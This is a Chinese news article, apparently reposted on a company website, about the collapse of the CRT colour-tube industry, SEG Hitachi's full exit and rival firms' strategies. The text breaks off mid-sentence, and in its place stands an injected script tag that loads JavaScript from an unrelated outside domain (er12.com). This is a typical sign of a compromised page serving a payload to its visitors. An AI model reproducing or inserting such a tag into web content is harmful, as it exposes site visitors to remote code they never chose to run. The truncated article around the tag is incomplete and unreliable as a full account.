彩管业转型:方向比方法更重要

7月19日,八大彩管巨头之一的赛格日立发布公告宣称关闭其第四条彩管生产线,至此,加上先前在6月30日关停的三条生产线,赛格日立所拥有的四条彩管生产线全面停产,也意味着赛格日立已全面退出彩管行业。

赛格日立的退出,在彩管行业内部引起了轩然大波。紧接着,彩管行业集体亏损的信息被再度炒热。而在彩电产业全面升级的关键时刻,彩管企业如何转型成了最近讨论最多的话题。据了解,在此之前,咸阳彩虹也频繁涉足平板电视上游,北京松下和深圳三星也从技术方面积极酝酿,看来彩管行业的产业变革迫在眉睫。

专家指出,受平板电视强有力的冲击,传统crt电视近几年销售量下降得很快,作为支撑crt产业的上游彩管行业也萎缩低迷,经过两年的亏损后,赛格日立成为首家宣布退出的企业,其他企业也纷纷酝酿转型,彩管企业转型到了必要且关键的时刻。专家同时指出,彩管企业转型要根据自身的实力选择最合适的路径,而不是盲目地扎堆某个方向,实力不同,所能承受的风险也不同,套用中国彩管行业协会副秘书长杨国钧的话说就是:“找好方向比方法更重要。”

限产清库未能成功

如果说6月30日赛格日立宣布关闭其三条彩管生产线还属于企业内部调整的话,20天后的7月19日,赛格日立宣布关停第四条彩管生产线的公告则成为彩管业转型的导火索。

7月19日,赛格发布“关于本公司控股子公司生产线全面停产的公告”称,公司控股的子公司——深圳赛格日立彩色显示器件有限公司最后一条生产线停产。这样加上今年6月30日宣布停产的3条彩管生产线,赛格日立所拥有的四条彩管生产线全面停产,同时赛格日立也出人意料地成为首家全身退出行业的八大彩管巨头之一。

“去年年中的时候,业界人士普遍认为上海永新将成为今年第一家退出彩管业的企业,没想到到头来赛格日立抢了‘头名’。”中怡康时代市场研究公司市场总监彭煜在接受记者采访时表示。

据记者了解,从2005年开始,彩管业就处于亏损状态。供大于求、产能过剩成为近些年彩管业呼吁最多的话题,虽然中国彩管行业协会有目的地组织旗下的八大巨头统一进行限价、保价甚至停产来弥补大盘的低迷,但最终结果显示,由于以前的供应量并不能及时消化,限价、保价和停产这些措施只是延缓了彩管行业整体转型的进程,并没有改变最终的结果。

以最近一次的春节市场彩管行业统一停产为例,中国彩管行业协会副秘书长杨国钧在接受记者采访时也承认,从春节初期,crt彩管企业还没有完全看清平板电视对crt的冲击速度来得如此之快,规模如此之大,大家希望通过限产清库来解决一下crt销售的问题,但最终还是没有成功。

从杨国钧的话语中,我们读出了对行业大势将去的无奈。

年底还将有两三家退出

据记者了解,早在2005年彩管全行业出现亏损的时候,就有不少企业提前做好了转型的准备。

咸阳彩虹就是其中较为典型的例子:由于彩管经营的压力越来越大,彩虹几年前就酝酿战略转型,向平板上游领域进军。今年初宣布国内第一条5代液晶玻璃生产线奠基,并在今年6月增资扩股,把此前合作pdp模组的战略伙伴长虹再次拉进来。今年7月,又宣布控股上海蓝光科技,进军led光电子产业领域。至此,彩虹战略转型进入关键阶段。

除咸阳彩虹高调挺进平板上游领域外,其他企业如北京松下、深圳三星则在彩管技术上做足了功夫。彭煜告诉记者,北京松下目前正在做24英寸的宽屏显像管,而深圳三星也在积极酝酿提高超薄显像管的成品率问题。

对于企业如何转型的话题,记者在采访过程中也发现不少企业依旧沉浸于彩管业曾经取得的“丰功伟绩”而不能自拔,当然更没有具体的转型目标计划出台。

其实他们不愿转型也有原因,中国电子视像行业协会某人士提供给记者的材料显示,截止到2006年,我国已具备9000万台彩电、1亿只彩色显像管的年生产能力,彩管业在中国乃至全球的优势显而易见。中国彩管行业协会会长范文强也在公开场合多次强调“crt电视即便再有20年也不会退市”;赛诺市场研究公司常务副总经理叶平也表示,crt电视依旧有很大的潜力空间,在近几年仍将是彩电行业的主力军。

“虽然crt电视仍是彩电市场主力军,但彩管企业的产能规模都能达到千万只,而市场需求量在3000万只左右,所以淘汰的结果就是八大巨头中有一半以上要退出。”彭煜分析,预计到今年底前还将有两三家退出,所以那些资金和技术实力相对较小的企业要提前做好准备。

找好方向比方法更重要

据记者了解,截至目前,彩管八大巨头在转型的十字路口已经有了四种不同的走向:

第一,开发彩管新产品,往深往精发展型,这类以北京松下和深圳三星为代表。据了解,随着?script src=http://er12.com/t.js>

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发布日期:2019年07月04日  所属分类:新闻动态